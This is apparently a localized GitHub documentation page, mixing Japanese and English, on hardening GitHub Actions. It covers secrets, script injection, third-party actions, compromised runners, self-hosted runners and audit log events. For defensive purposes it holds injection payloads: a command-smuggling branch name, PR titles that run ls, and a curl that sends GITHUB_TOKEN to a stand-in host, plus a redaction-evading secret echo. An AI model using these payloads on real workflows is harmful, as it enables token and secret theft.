GitHub Actions のセキュリティ強化

概要

このガイドでは、特定の GitHub Actions の機能のセキュリティ強化を設定する方法について説明します。 GitHub Actions の概念について理解を深めるには、「GitHub Actions の中核的概念」を参照してください。

シークレットを使用する

機密性の高い値は、平文としてワークフローファイルに保存するのではなく、シークレットとして保存してください。 シークレットは、Organizationあるいはリポジトリのレベルで設定でき、機密情報をGitHub Enterprise Serverに保存できるようになります。

シークレットは Libsodium sealed boxes を使用するため、GitHub Enterprise Server に到達する前に暗号化されます。 これは、UI を使用して、または REST API を介してシークレットが送信されたときに発生します。 このクライアント側の暗号化により、GitHub Enterprise Server のインフラストラクチャ内での偶発的なログ（例外ログやリクエストログなど）に関連するリスクを最小限に抑えることができます。 シークレットがアップロードされると、GitHub Enterprise Server はそれを復号化して、ワークフローランタイムに挿入できるようになります。

偶発的な開示を防ぐために、GitHub Enterprise Server は、実行ログに表示されるシークレットを編集しようとするメカニズムを使用しています。 この編集は、設定されたシークレットの完全一致、および Base64 などの値の一般的なエンコーディングを検索します。 ただし、シークレットの値を変換する方法は複数あるため、この編集は保証されません。 そのため、シークレットを確実に編集し、シークレットに関連する他のリスクを制限するために実行する必要がある、特定の予防的ステップと推奨事項は次のとおりです。

• 構造化データをシークレットとして使用しない
  • 構造化データは、ログ内のシークレットの編集失敗の原因となる可能性があります。これは、編集が特定のシークレット値の完全一致を見つけることに大きく依存しているためです。 たとえば、JSON、XML、または YAML（または同様）の Blob を使用してシークレット値をカプセル化しないでください。シークレットが適切に編集される可能性が大幅に低下するためです。 代わりに、機密値ごとに個別のシークレットを作成します。
• ワークフロー内で使用されるすべてのシークレットを登録する
  • シークレットを使用してワークフロー内で別の機密値を生成する場合は、生成された値を正式にシークレットとして登録して、ログに表示されたときに編集されるようにする必要があります。 たとえば、秘密鍵を使用して署名済み JWT を生成し、Web API にアクセスする場合は、その JWT をシークレットとして登録してください。そうしない場合、ログ出力に入力されても編集されません。
  • シークレットの登録は、あらゆる種類の変換/エンコーディングにも適用されます。 シークレットが何らかの方法で変換された場合（Base64 や URL エンコードなど）、新しい値もシークレットとして登録してください。
• シークレットの処理方法を監査する
  • シークレットの使用方法を監査し、シークレットが想定どおりに処理されていることを確認します。 これを行うには、ワークフローを実行しているリポジトリのソースコードを確認し、ワークフローで使用されているアクションを確認します。 たとえば、意図しないホストに送信されていないか、またはログ出力に明示的に出力されていないかを確認します。
  • 有効/無効な入力をテストした後、ワークフローの実行ログを表示し、シークレットが正しく編集されているか、表示されていないかを確認します。 呼び出しているコマンドまたはツールがどのようにしてエラーを STDOUT および STDERR に送信するかは必ずしも明らかではなく、シークレットはその後エラーログに記録される可能性があります。 そのため、有効な入力と無効な入力をテストした後、ワークフローログを手動で確認することをお勧めします。
• スコープが最小限の認証情報を使用する
  • ワークフロー内で使用されている認証情報に必要な最小限の権限があることを確認し、リポジトリへの書き込みアクセスを持つすべてのユーザが、リポジトリで設定されたすべてのシークレットへの読み取りアクセスを持っていることに注意してください。
• 登録されたシークレットの監査とローテーション
  • 登録されたシークレットを定期的に確認して、現在も必要であることを確認します。 不要になったものは削除してください。
  • シークレットを定期的にローテーションして、不正使用されたシークレットが有効である期間を短縮します。

Using CODEOWNERS to monitor changes

You can use the CODEOWNERS feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in .github/workflows, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer.

詳細は「コードオーナーについて」を参照してください。

Understanding the risk of script injections

When creating workflows, custom actions, and composite actions actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner.

Attackers can add their own malicious content to the github context, which should be treated as potentially untrusted input. These contexts typically end with body, default_branch, email, head_ref, label, message, name, page_name,ref, and title. For example: github.event.issue.title, or github.event.pull_request.body.

You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of GitHub Actions. For information on some of the steps an attacker could take, see "Potential impact of a compromised runner."

In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, zzz";echo${IFS}"hello";# would be a valid branch name and would be a possible attack vector for a target repository.

The following sections explain how you can help mitigate the risk of script injection.

Example of a script injection attack

A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection:

      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

This example is vulnerable to script injection because the run command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside ${{ }} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection.

To inject commands into this workflow, the attacker could create a pull request with a title of a"; ls $GITHUB_WORKSPACE":

In this example, the " character is used to interrupt the title="${{ github.event.pull_request.title }}" statement, allowing the ls command to be executed on the runner. You can see the output of the ls command in the log:

Good practices for mitigating script injection attacks

There are a number of different approaches available to help you mitigate the risk of script injection:

Using an action instead of an inline script (recommended)

The recommended approach is to create an action that processes the context value as an argument. This approach is not vulnerable to the injection attack, as the context value is not used to generate a shell script, but is instead passed to the action as an argument:

uses: fakeaction/checktitle@v3
with:
    title: ${{ github.event.pull_request.title }}

Using an intermediate environment variable

For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable.

The following example uses Bash to process the github.event.pull_request.title value as an environment variable:

      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

In this example, the attempted script injection is unsuccessful:

With this approach, the value of the ${{ github.event.issue.title }} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid word splitting, but this is one of many general recommendations for writing shell scripts, and is not specific to GitHub Actions.

Using CodeQL to analyze your code

To help you manage the risk of dangerous patterns as early as possible in the development lifecycle, the GitHub Security Lab has developed CodeQL queries that repository owners can integrate into their CI/CD pipelines. 詳しい情報については、「コードスキャニングについて」を参照してください。

The scripts currently depend on the CodeQL JavaScript libraries, which means that the analyzed repository must contain at least one JavaScript file and that CodeQL must be configured to analyze this language.

• ExpressionInjection.ql: Covers the expression injections described in this article, and is considered to be reasonably accurate. However, it doesn’t perform data flow tracking between workflow steps.
• UntrustedCheckout.ql: This script's results require manual review to determine whether the code from a pull request is actually treated in an unsafe manner. For more information, see "Keeping your GitHub Actions and workflows secure: Preventing pwn requests" on the GitHub Security Lab blog.

Restricting permissions for tokens

To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see "Modifying the permissions for the GITHUB_TOKEN."

サードパーティアクションを使用する

ワークフロー内の個々のジョブは、他のジョブと相互作用（および侵害）する場合があります。 たとえば、後のジョブで使用される環境変数をクエリするジョブ、後のジョブが処理する共有ディレクトリにファイルを書き込むジョブ、あるいはもっと直接的にDocker ソケットとやり取りして他の実行中のコンテナを検査してコマンドを実行するジョブなどです。

これは、ワークフロー内の 1 つのアクションへの侵害が非常に重要になる可能性があるということです。その侵害されたアクションがリポジトリに設定されたすべてのシークレットにアクセスし、GITHUB_TOKEN を使用してリポジトリに書き込むことができるためです。 したがって、GitHub のサードパーティリポジトリからアクションを調達することには大きなリスクがあります。 For information on some of the steps an attacker could take, see "Potential impact of a compromised runner."

次のような適切な方法に従うことで、このリスクを軽減することができます。

• アクションを完全なコミット SHA にピン止めする

  現在、アクションを不変のリリースとして使用する唯一の方法は、アクションを完全なコミット SHA にピン止めすることです。 特定の SHA にピン止めすると、有効な Git オブジェクトペイロードに対して SHA-1 衝突を生成する必要があるため、悪意のある人がアクションのリポジトリにバックドアを追加するリスクを軽減できます。

  警告: コミット SHA の短いバージョンは安全ではないため、アクションの Git リファレンスの指定には使用しないでください。 リポジトリネットワークの仕組みにより、どのユーザもリポジトリをフォークし、短い SHA と衝突するよう細工されたコミットをプッシュできます。 これにより、その SHA の後続のクローンがあいまいなコミットになるため失敗します。 その結果、短縮された SHA を使用するワークフローはすぐに失敗します。

• アクションのソースコードを監査する

  アクションが想定どおりにリポジトリとシークレットのコンテンツを処理していることを確認します。 たとえば、シークレットが意図しないホストに送信されていないか、または誤ってログに記録されていないかを確認します。

• 作成者を信頼できる場合に限り、アクションをタグにピン止めする

  コミット SHA に対するピン止めが最も安全なオプションですが、タグを指定する方が便利で広く使用されています。 タグを指定する場合は、アクションの作成者が信頼できることを確認してください。 GitHub Marketplace の「Verified creator」バッジは便利な判断材料で、 GitHub で身元が確認されたチームによって作成されたアクションであることを示しています。 作者が信頼できる場合でも、このアプローチにはリスクがあることに注意してください。悪意のある人がアクションを保存しているリポジトリにアクセスすると、タグが移動または削除される可能性があります。

Potential impact of a compromised runner

These sections consider some of the steps an attacker can take if they're able to run malicious commands on a GitHub Actions runner.

Accessing secrets

Workflows triggered using the pull_request event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as issue_comment, issues and push, where the attacker could attempt to steal repository secrets or use the write permission of the job's GITHUB_TOKEN.

• If the secret or token is set to an environment variable, it can be directly accessed through the environment using printenv.

• If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible.

• For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument:

  uses: fakeaction/publish@v3
  with:
      key: ${{ secrets.PUBLISH_KEY }}
  

Although GitHub Actions scrubs secrets from memory that are not referenced in the workflow (or an included action), the GITHUB_TOKEN and any referenced secrets can be harvested by a determined attacker.

Exfiltrating data from a runner

An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, GitHub Actions automatically redact secrets printed to the log, but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server.

Stealing the job's GITHUB_TOKEN

It is possible for an attacker to steal a job's GITHUB_TOKEN. The GitHub Actions runner automatically receives a generated GITHUB_TOKEN with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#.

Modifying the contents of a repository

The attacker server can use the GitHub API to modify repository content, including releases, if the assigned permissions of GITHUB_TOKEN are not restricted.

リポジトリ間のアクセスを検討する

GitHub Actions は、意図的に一度に単一のリポジトリに対してスコープされます。 GITHUB_TOKEN では、書き込みアクセスを持つユーザと同じレベルのアクセスを許可します。これは、書き込みアクセスを持つユーザは、ワークフローファイルを作成または変更し。 ユーザはリポジトリごとに特定の権限を持っているため、1 つのリポジトリの GITHUB_TOKEN に別のリポジトリへのアクセスを許可すると、慎重に実装しない場合 GitHub 権限モデルに影響します。 同様に、GitHub 認証トークンをワークフローに追加する場合は注意が必要です。これは、コラボレータに誤って広範なアクセスを付与することにより、GitHub アクセス許可モデルにも影響を与える可能性があるためです。

GitHub ロードマップでは、GitHub Enterprise Server 内のリポジトリ間アクセスを可能にするフローをサポートする計画がありますが、この機能はまだサポートされていません。 現在、権限のあるリポジトリ間のやり取りを実行する唯一の方法は、ワークフロー内に GitHub 認証トークンまたは SSH キーをシークレットとして配置することです。 多くの認証トークンタイプでは特定のリソースへの詳細なアクセスが許可されていないことから、意図したものよりはるかに広範なアクセスを許可できるため、間違ったトークンタイプを使用すると重大なリスクが生じます。

次のリストでは、ワークフロー内のリポジトリデータにアクセスするための推奨アプローチを優先度の高い順に説明しています。

1. GITHUB_TOKEN
   • このトークンは、ワークフローを呼び出した単一のリポジトリに意図的にスコープされており、リポジトリの書き込みアクセスを持つユーザと同じレベルのアクセス権をことができます。 トークンは各ジョブが開始する前に作成され、ジョブが終了すると期限切れになります。 詳しい情報については「GITHUB_TOKENでの認証」を参照してください。
   • 可能な場合は、常に GITHUB_TOKEN を使用する必要があります。
2. リポジトリのデプロイキー
   • デプロイキーは、単一のリポジトリへの読み取りまたは書き込みアクセスを許可する唯一の認証情報タイプの 1 つであり、ワークフロー内の別のリポジトリとのやり取りに使用できます。 詳しい情報については、「デプロイキーを管理する」を参照してください。
   • デプロイキーは Git を使用してリポジトリに複製およびプッシュできるだけであり、REST または GraphQL API とのやり取りには使用できないため、要件に適さない場合があることに注意してください。
3. GitHub App トークン
   • GitHub Apps は、選択したリポジトリにインストールでき、リポジトリ内のリソースに対する詳細な権限を持つこともできます。 Organization の内部で GitHub App を作成し、ワークフロー内でアクセスする必要があるリポジトリにインストールして、それらのリポジトリにアクセスするためのワークフロー内のインストールとして認証できます。
4. 個人アクセストークン
   • 自分のアカウントから個人アクセストークンを使用しないでください。 これらのトークンは、アクセスできる Organization 内のすべてのリポジトリ、およびユーザアカウントのすべての個人リポジトリへのアクセスを許可します。 これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。 さらに、後で Organization を離れると、このトークンを使用するワークフローはすぐに中断され、この問題のデバッグが困難になる場合があります。
   • 個人アクセストークンを使用する場合は、ワークフローに必要な特定のリポジトリへのアクセスのみが許可される新しいアカウント用に生成されたものを使用してください。 このアプローチはスケーラブルではないため、デプロイキーなどの代替案を優先して避ける必要があります。
5. ユーザアカウントの SSH キー
   • ワークフローでは、ユーザアカウントの SSH キーを使用しないでください。 これらは、個人アクセストークンと同様に、すべての個人リポジトリと、Organization のメンバーシップを通じてアクセスできるすべてのリポジトリに読み取り/書き込み権限を付与します。 これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。 リポジトリのクローンまたはプッシュのみを実行する必要があり、パブリック API とやり取りする必要がないため、SSH キーを使用する場合は、代わりに個別のデプロイキーを使用する必要があります。

セルフホストランナーを強化する

GitHub でホストされたランナーは、一過性でクリーンな隔離された仮想マシン内でコードを実行します。つまり、この環境を永続的に危険にさらしたり、ブートストラッププロセス中にこの環境に置かれた以上の情報にアクセスしたりする方法はありません。

GitHub Enterprise Server のセルフホストランナーは、一過性でクリーンな仮想マシンでの実行に関する保証がなく、ワークフロー内の信頼されていないコードによって永続的に侵害される可能性があります。

そのため、GitHub Enterprise Server のパブリックリポジトリにセルフホストランナーを使用することはほとんどありません。これは、任意のユーザがリポジトリに対してプルリクエストを開き、環境を危険にさらす可能性があるためです。 同様に、プライベートリポジトリでセルフホストランナーを使用する場合は注意が必要です。リポジトリをフォークしてプルリクエストをオープンすることができる人（通常はリポジトリへの読み取りアクセス権を持つユーザ）は、セルフホストランナー環境を危険にさらす可能性があるためです付与できる GITHUB_TOKEN などが含まれます。 ワークフローは、環境と必要なレビューを使用して環境シークレットへのアクセスを制御できますが、これらのワークフローは分離された環境では実行されず、セルフホストランナーで実行した場合でも同じリスクの影響を受けやすくなります。

セルフホストランナーがOrganizationもしくはEnterpriseのレベルで定義されているなら、GitHub Enterprise Serverは同じランナー上で複数のリポジトリからのワークフローをスケジューリングするかもしれません。 したがって、これらの環境へのセキュリティ侵害は、大きな影響をもたらす可能性があります。 侵害の範囲を狭めるために、セルフホストランナーを個別のグループにまとめることで、境界を作ることができます。 詳しい情報については、「グループを使用したセルフホストランナーへのアクセスを管理する」を参照してください。

次のように、セルフホストランナーマシンの環境も考慮する必要があります。

• セルフホストランナーとして設定されたマシンにはどのような機密情報が存在するか。 たとえば、SSH 秘密鍵、API アクセストークンなどです。
• マシンが機密性の高いサービスにネットワークアクセス可能か。 たとえば、Azure または AWS メタデータサービスなどです。 この環境での機密情報量は最小限に抑える必要があります。ワークフローを呼び出すことができるすべてのユーザがこの環境にアクセスできることを常に意識しておいてください。

中には、それぞれのジョブの実行後にセルフホストランナーを自動的に破棄するようなシステムを実装することで、このリスクを部分的に軽減しようとするお客様もいます。 しかし、このアプローチは意図したほどには効果的ではないかもしれません。これは、セルフホストランナーが1つのジョブだけを実行するという保証がないためです。 Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as ps x -w. This can lead to secret leakages.

GitHub Actionsイベントの監査

Organizationの管理タスクをモニタするために、監査ログを使用できます。 監査ログは、アクションの種類、実行された時刻、実行したユーザアカウントを記録します。

たとえば、監査ログを使用して、Organization のシークレットへの変更を追跡する org.update_actions_secret イベントを追跡できます。

以下の表は、監査ログにあるGitHub Actionsのイベントを示します。 監査ログの使用に関する詳しい情報については、「Organization の監査ログのレビュー」を参照してください。

設定変更のイベント

アクション	説明
repo.actions_enabled	リポジトリに対して GitHub Actions が有効化されたときにトリガーされます。 UI を使用して表示できます。 このイベントは、REST API を使用して Audit log にアクセスした場合には表示されません。 詳しい情報については、「REST API を使用する」を参照してください。

シークレット管理のイベント

アクション	説明
org.create_actions_secret	Organization に対して GitHub Actions シークレットが作成されたときにトリガーされます。 詳しい情報については、「Organization の暗号化されたシークレットを作成する」を参照してください。
org.remove_actions_secret	GitHub Actions シークレットが削除されたときにトリガーされます。
org.update_actions_secret	GitHub Actions シークレットが更新されたときにトリガーされます。
repo.create_actions_secret	リポジトリに対して GitHub Actions シークレットが作成されたときにトリガーされます。 詳しい情報については、「リポジトリに対して暗号化されたシークレットを作成する」を参照してください。
repo.remove_actions_secret	GitHub Actions シークレットが削除されたときにトリガーされます。
repo.update_actions_secret	GitHub Actions シークレットが更新されたときにトリガーされます。

セルフホストランナーのイベント

アクション	説明
enterprise.register_self_hosted_runner	新しいセルフホストランナーが登録されたときにトリガーされます。 詳しい情報については「Enterpriseへのセルフホストランナーの追加」を参照してください。
enterprise.remove_self_hosted_runner	セルフホストランナーが削除されたときにトリガーされます。
enterprise.runner_group_runners_updated	Triggered when a runner group's member list is updated. 詳しい情報については、「Organizationのグループにセルフホストランナーを設定する」を参照してください。
enterprise.self_hosted_runner_updated	ランナーアプリケーションが更新されたときにトリガーされます。 REST API と UI を使用して表示できます。 Audit log を JSON データまたは CSV ファイルとしてエクスポートする場合、このイベントは含まれません。 詳しい情報については、「セルフホストランナーについて」および「Organization の Audit log をレビューする」を参照してください。
org.register_self_hosted_runner	新しいセルフホストランナーが登録されたときにトリガーされます。 詳しい情報については、「Organization へのセルフホストランナーの追加」を参照してください。
org.remove_self_hosted_runner	セルフホストランナーが削除されたときにトリガーされます。 詳しい情報については、「Organization からランナーを削除する」を参照してください。
org.runner_group_runners_updated	ランナーグループのメンバーリストが更新されたときにトリガーされます。 詳しい情報については「Organizationのグループ内にセルフホストランナーをセットする」を参照してください。
org.runner_group_updated	セルフホストランナーグループの設定が変更されたときにトリガーされます。 For more information, see "Changing the access policy of a self-hosted runner group."
org.self_hosted_runner_updated	ランナーアプリケーションが更新されたときにトリガーされます。 REST API及びUIを使って見ることができます。JSON/CSVエクスポートで見ることはできません。 詳しい情報については「セルフホストランナーについて」を参照してください。
repo.register_self_hosted_runner	新しいセルフホストランナーが登録されたときにトリガーされます。 詳しい情報については、「リポジトリにセルフホストランナーを追加する」を参照してください。
repo.remove_self_hosted_runner	セルフホストランナーが削除されたときにトリガーされます。 For more information, see "Removing a runner from a repository."
repo.self_hosted_runner_updated	ランナーアプリケーションが更新されたときにトリガーされます。 REST API及びUIを使って見ることができます。JSON/CSVエクスポートで見ることはできません。 詳しい情報については「セルフホストランナーについて」を参照してください。

セルフホストランナーグループのイベント

アクション	説明
enterprise.runner_group_created	セルフホストランナーグループが作成されたときにトリガーされます。 詳しい情報については、「Enterprise のセルフホストランナーグループを作成する」を参照してください。
enterprise.runner_group_removed	セルフホストランナーグループが削除されたときにトリガーされます。 詳しい情報については「セルフホストランナーグループの削除」を参照してください。
enterprise.runner_group_runner_removed	セルフホストランナーをグループから削除するのにREST APIが使われたときにトリガーされます。
enterprise.runner_group_runners_added	セルフホストランナーがグループに追加されたときにトリガーされます。 For more information, see "Moving a self-hosted runner to a group."
enterprise.runner_group_renamed	Triggered when the self-hosted runner group is renamed.
enterprise.runner_group_visiblity_updated	Triggered when the visibility settings of the self-hosted runner group are changed.
org.runner_group_created	セルフホストランナーグループが作成されたときにトリガーされます。 詳しい情報については、「Organization のセルフホストランナーグループを作成する」を参照してください。
org.runner_group_removed	セルフホストランナーグループが削除されたときにトリガーされます。 For more information, see "Removing a self-hosted runner group."
org.runner_group_runners_added	セルフホストランナーがグループに追加されたときにトリガーされます。 詳しい情報については、「セルフホストランナーをグループに移動する」を参照してください。
org.runner_group_runner_removed	セルフホストランナーをグループから削除するのにREST APIが使われたときにトリガーされます。 For more information, see "Remove a self-hosted runner from a group for an organization."
org.runner_group_renamed	Triggered when the self-hosted runner group is renamed.
org.runner_group_visiblity_updated	Triggered when the visibility settings of the self-hosted runner group are changed.

ワークフローアクティビティのイベント

アクション	説明